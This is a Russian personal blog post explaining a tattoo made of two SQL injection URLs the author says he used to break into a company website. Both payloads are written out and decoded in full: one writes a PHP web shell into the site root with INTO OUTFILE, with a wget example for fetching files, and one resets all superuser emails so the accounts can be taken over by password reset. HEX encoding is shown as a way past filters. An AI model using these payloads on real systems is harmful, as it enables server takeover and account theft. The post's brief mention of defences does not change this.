Расшифровка моей татуировки

У меня на руке от запястья до локтя сделана татуировка, которая издалека напоминает просто 2 полосы. На самом деле, это две SQL-инъекции с помощью которых я впервые в жизни осуществил взлом сайта. 

Меня иногда спрашивают, что они значат, поэтому я решил расписать расшифровку SQL-инъекций в этой статье. Домен сайта, где инъекции были сделаны, я в статье заменил на domain.ru. Название компании я также сохраню в секрете, но это достаточно знаменитая и крупная Московская коммерческая компания.

В татуировке 2 строки:

/api/card/add/?code=-1%27+UNION+SELECT+0x3C3F7068702073797374656D28245F4745545B635D293B3F3E%2C%27%27+into+outfile+%27/home/user/domain.ru/www/set.php%27;--

/api/card/add/?code=-1%27%3B+UPDATE+users+u+LEFT+OUTER+JOIN+user_attributes+a+ON+u.id=a.internalKey+SET+email=0x4841434B454440676D61696C2E636F6D+WHERE+sudo=%271%27;--



Пока вы не прочитали разъяснения попробуйте самостоятельно разобраться, что происходит в этих двух строчках кода. Получится ли у вас разобраться?

 

Итак, в чём суть этого кода?

1 строка)

Эта инъекция возможна в тех проектах, где в правах доступа пользователя БД есть привилегии писать логи в файл на диск. Инъекция осуществляет запись исполняемого файла в корень сайта, через который можно выполнять любые команды в операционной системе от имени пользователя под которым работает веб-сервер.

/api/card/add/?code=-1%27+UNION+SELECT+0x3C3F7068702073797374656D28245F4745545B635D293B3F3E%2C%27%27+into+outfile+%27/home/user/domain.ru/www/set.php%27;--

 

Расшифрую по частям:

/api/card/add/?code=

 Путь до апишки сайта. В данном случае это был коннектор действия "положить товар в корзину". И query параметр в который ожидалось, что будет передаваться артикул товара. Там даже были некоторые фильтры "защищающие" от атак подобного рода.

Далее происходит изменение SQL запроса. Запрос вида SELECT * FROM items WHERE code='001234' бла-бла-бла, дальше уже не важно... Жирным выделено то, место куда должен подставиться артикул товара. Я туда подставил:

-1%27+UNION+

-1 - артикул, которого заведомо не существует. %27 - это апостроф в кодировке URL-encode. И SQL оператор UNION который позволяет в одном запросе выполнить второй запрос. Знаки в строке URL принимаемые веб-сервером конвертируются в пробелы.

Таким образом запрос 

SELECT * FROM items WHERE code='001234'

превращается в 

SELECT * FROM items WHERE code='-1' UNION ...

Далее следует целевой запрос:

SELECT+0x3C3F7068702073797374656D28245F4745545B635D293B3F3E%2C%27%27+into+outfile+%27/home/user/domain.ru/www/set.php%27

Где

0x3C3F7068702073797374656D28245F4745545B635D293B3F3E

- контент исполняемого файла в шестнадцатиричной кодировке HEX (онлайн декодер). Для меня было большим удивлением, когда в результате некоторых исследований я понял, что MySQL совершенно спокойно принимает на запись контент не только в формате строк, но и тот же самый контент закодированный в шестнадцатиричном и восьмиричном форматах. Думаю можно извратиться и закодировать контент в двоичную кодировку.

Контент в шестнадцатиричном формате легко проходит некоторые типы фильтрации и большинство самописных шаблонов фильтрации написанных на регулярных выражениях.

В расшифрованном виде контент записываемого файла выглядит так: 

<?php system($_GET[c]); ?>

 Записывается простейший php-скрипт, который исполняет в системе любую команду переданную через query-параметр "c", пример вызова:

www.domain.ru/set.php?c=wget+любой_файл_который_скачается_из_интернета_в_корень_сайта

Соответственно SQL инъекции:

SELECT '<?php system($_GET[c]); ?>' INTO OUTFILE 'путь_в_файловой_системе/set.php';--

 И в самом конце, чтобы не нарушить синтаксис запроса нужно отсечь всё то, что могло бы следовать за артикулом товара, то что я обозначил в начале как бла-бла-бла

;--

 Точка с запятой завершает целевой SQL-запрос, а символ -- в синтаксисе SQL -символ комментария, то есть, всё что будет следовать далее - будет игнорироваться. 

Пререквизит: Необходимо знать абсолютный путь в файловой системе до корня сайта. Часто путь в файловой системе можно определить по сообщениям об ошибках возникших в конкретных файлах. 

Защита от таких инъекций: строго ограничивать права пользователя БД, ставить запрет файловой записи.

 

2 строка)

Эта инъекция попроще, но вызывает улыбку. Даёт доступ ко всем администраторским учётным записям на целевом сайте:

/api/card/add/?code=-1%27%3B+UPDATE+users+u+LEFT+OUTER+JOIN+user_attributes+a+ON+u.id=a.internalKey+SET+email=0x4841434B454440676D61696C2E636F6D+WHERE+sudo=%271%27;--

 

Расшифровка по частям:

/api/card/add/?code=

Апишка юзалась та же самая. 

Далее происходит изменение SQL запроса. Запрос следующего вида реализованный в коде сайта его разработчиками

SELECT * FROM items WHERE code='001234' бла-бла-бла...

Модифицируется мною и вместо артикула подставляется совсем другой запрос. Разберём по частям:

-1%27%3B+UPDATE...

 В декодированом виде (онлайн декодер) представляет из себя:

-1'; UPDATE...

 То есть запрос реализованный в коде апишки завершается точкой с запятой и сразу за ним последовательно запускается UPDATE запрос и в БД уходит следующий SQL, вместо того, что изначально задумывали разработчики сайта:

SELECT * FROM items WHERE code='-1'; UPDATE+users+u+LEFT+OUTER+JOIN+user_attributes+a+ON+u.id=a.internalKey+SET+email=0x4841434B454440676D61696C2E636F6D+WHERE+sudo=%271%27;--' бла-бла-бла...

То есть один селект, который вернёт пустой ответ и сразу за ним UPDATE таблицы users. Я в эту инъекцию даже LEFT OUTER JOIN завернул! )))

Таблицы users и user_attributes сличаются по id. Разумеется я знал структуру таблиц и нейминг полей. Сайт работал (и работает сейчас) на достаточно популярной CMS и её исходный код открыт и доступен всем желающим бесплатно. 

В итоге мой запрос делает следующее:

UPDATE users u LEFT OUTER JOIN user_attributes a ON u.id=a.internalKey 
SET email=0x4841434B454440676D61696C2E636F6D
WHERE sudo='1';--' бла-бла-бла...

WHERE sudo='1' - означает для всех администраторов с правами суперпользователя

SET email=0x4841434B454440676D61696C2E636F6D

 Делаем что? Устанавливаем мой email в качестве основного... всем администраторам сайта ))) Email закодирован в шестнадцатиричной кодировке HEX (онлайн декодер). Соответственно следующим шагом, используя стандартный механизм восстановления пароля, я получил полный контроль над всеми учётными записями атакуемого сайта с правами супер пользователя.

Эта уязвимость также уже давно была закрыта на том сайте, по моей собственной рекомендации, поэтому я могу рассказывать об этом совершенно спокойно.

По итогам своего исследования я написал статью о том как усилить защиту сайтов от взлома сайт реализованных на этой же CMS. И заказал себе татуировку на память - идея показалась мне весьма оригинальной.